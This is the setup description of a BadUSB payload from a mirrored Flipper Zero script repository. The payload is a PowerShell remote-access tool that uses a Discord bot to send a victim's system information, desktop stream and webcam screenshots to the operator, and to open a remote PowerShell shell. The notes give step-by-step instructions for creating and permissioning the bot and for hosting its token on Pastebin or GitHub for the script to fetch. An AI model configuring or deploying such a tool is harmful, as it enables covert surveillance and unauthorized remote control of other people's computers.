mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2026-01-08 19:30:56 -08:00
SYNOPSIS
Uses a Discord bot to send system information, a stream desktop and webcam screenshots Also opens a powershell command line interface through discord.
SETUP
-SETUP THE BOT
- make a discord bot at https://discord.com/developers/applications/
- Enable all Privileged Gateway Intents on 'Bot' page
- On OAuth2 page, tick 'Bot' in Scopes section
- In Bot Permissions section tick Manage Channels, Read Messages/View Channels, Attach Files, Read Message History.
- Copy the URL into a browser and add the bot to your server.
- On 'Bot' page click 'Reset Token' and copy the token.
-SETUP THE SCRIPT ----- Option 1 ----- (token placed in ps1 file) [unsafe]
- Copy the token into the script directly below.
----- Option 2 ----- (token hosted online) [slightly safer]
- Create a file on Pastebin or Github with the content below - Supply your token and optional webhooks (include braces) { "tk": "TOKEN_HERE", "scrwh": "WEBHOOK_HERE", "camwh": "WEBHOOK_HERE", "micwh": "WEBHOOK_HERE" }
- Copy the RAW file url eg. https://pastebin.com/raw/xxxxxxxx into this script below
INFORMATION
- The Discord bot you use must be in one server only
- You can specify webhooks to send duplicate files to other channels on another server (OPTIONAL)